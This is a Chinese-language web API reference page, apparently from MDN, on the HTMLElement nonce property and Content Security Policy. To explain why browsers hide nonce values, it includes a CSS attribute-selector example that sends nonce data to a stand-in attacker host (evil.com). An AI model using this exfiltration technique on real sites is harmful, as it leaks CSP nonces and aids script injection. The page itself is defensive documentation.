HTMLElement: nonce 屬性
HTMLElement 介面的 nonce 屬性返回一個加密的、僅使用一次的數字,用於 內容安全策略 來確定是否允許給定的獲取操作繼續進行。
在後續的實現中,元素僅向指令碼公開其 nonce 屬性(而不是向 CSS 屬性選擇器等側通道公開)。
示例
檢索 nonce 值
過去,並非所有瀏覽器都支援 nonce IDL 屬性,因此一種解決方法是嘗試使用 getAttribute 作為備用方法。
js
let nonce = script["nonce"] || script.getAttribute("nonce");
然而,近期版本的瀏覽器會隱藏透過這種方式訪問的 nonce 值(將返回一個空字串)。IDL 屬性(script['nonce'])將是訪問 nonce 的唯一方法。
隱藏 nonce 有助於防止攻擊者透過可以從內容屬性(如此 CSS 選擇器)中抓取資料的機制來洩露 nonce 資料。
css
script[nonce~="whatever"] {
background: url("https://evil.com/nonce?whatever");
}
規範
| 規範 |
|---|
| HTML # dom-noncedelement-nonce |
瀏覽器相容性
載入中…